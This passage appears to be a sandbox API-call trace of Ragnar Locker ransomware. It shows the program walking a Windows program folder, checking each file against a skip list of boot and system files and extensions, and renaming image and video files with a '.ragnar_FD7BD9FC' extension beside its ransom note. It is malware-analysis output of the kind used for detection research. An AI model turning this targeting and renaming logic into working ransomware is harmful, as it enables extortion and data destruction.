Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" [0079.146] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.ragnar_FD7BD9FC" [0079.146] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.146] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0079.146] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.146] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_frame-shadow.png" | out: lpString1="Pets_frame-shadow.png") returned="Pets_frame-shadow.png" [0079.146] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned=".png" [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="autorun.inf") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="boot.ini") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="bootfont.bin") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="bootsect.bak") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="bootmgr") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="bootmgr.efi") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="bootmgfw.efi") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="desktop.ini") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="iconcache.db") returned 1 [0079.146] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="ntldr") returned 1 [0079.147] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="ntuser.dat") returned 1 [0079.147] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="ntuser.dat.log") returned 1 [0079.147] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="ntuser.ini") returned 1 [0079.147] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="thumbs.db") returned -1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.147] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0079.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.147] CloseHandle (hObject=0xffffffff) returned 0 [0079.147] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" [0079.147] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.ragnar_FD7BD9FC" [0079.147] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.148] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0079.148] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.148] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_image-frame-backglow.png" | out: lpString1="Pets_image-frame-backglow.png") returned="Pets_image-frame-backglow.png" [0079.148] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png") returned=".png" [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="autorun.inf") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="boot.ini") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="bootfont.bin") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="bootsect.bak") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="bootmgr") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="bootmgr.efi") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="bootmgfw.efi") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="desktop.ini") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="iconcache.db") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="ntldr") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="ntuser.dat") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="ntuser.dat.log") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="ntuser.ini") returned 1 [0079.148] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="thumbs.db") returned -1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.148] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0079.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.149] CloseHandle (hObject=0xffffffff) returned 0 [0079.149] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" [0079.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.ragnar_FD7BD9FC" [0079.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.149] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0079.149] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.149] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_image-frame-border.png" | out: lpString1="Pets_image-frame-border.png") returned="Pets_image-frame-border.png" [0079.149] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned=".png" [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="autorun.inf") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="boot.ini") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="bootfont.bin") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="bootsect.bak") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="bootmgr") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="bootmgr.efi") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="bootmgfw.efi") returned 1 [0079.149] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="desktop.ini") returned 1 [0079.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.153] CloseHandle (hObject=0xffffffff) returned 0 [0079.153] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" [0079.153] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.ragnar_FD7BD9FC" [0079.154] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.154] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0079.154] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.154] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_image-frame-ImageMask.png" | out: lpString1="Pets_image-frame-ImageMask.png") returned="Pets_image-frame-ImageMask.png" [0079.154] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned=".png" [0079.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.156] CloseHandle (hObject=0xffffffff) returned 0 [0079.156] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" [0079.156] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.ragnar_FD7BD9FC" [0079.156] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.156] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0079.156] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.156] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_notes-txt-background.png" | out: lpString1="Pets_notes-txt-background.png") returned="Pets_notes-txt-background.png" [0079.156] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned=".png" [0079.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.156] CloseHandle (hObject=0xffffffff) returned 0 [0079.157] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" [0079.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.ragnar_FD7BD9FC" [0079.157] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.157] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81675c40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.157] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.157] lstrcpyW (in: lpString1=0x1eab52, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.157] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.157] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0079.157] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.157] lstrcpyW (in: lpString1=0x1eab52, lpString2="rollinghills.png" | out: lpString1="rollinghills.png") returned="rollinghills.png" [0079.158] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned=".png" [0079.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.158] CloseHandle (hObject=0xffffffff) returned 0 [0079.158] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" [0079.158] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.ragnar_FD7BD9FC" [0079.158] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.158] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0079.158] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.158] lstrcpyW (in: lpString1=0x1eab52, lpString2="Scenes_INTRO_BG.wmv" | out: lpString1="Scenes_INTRO_BG.wmv") returned="Scenes_INTRO_BG.wmv" [0079.158] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned=".wmv" [0079.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 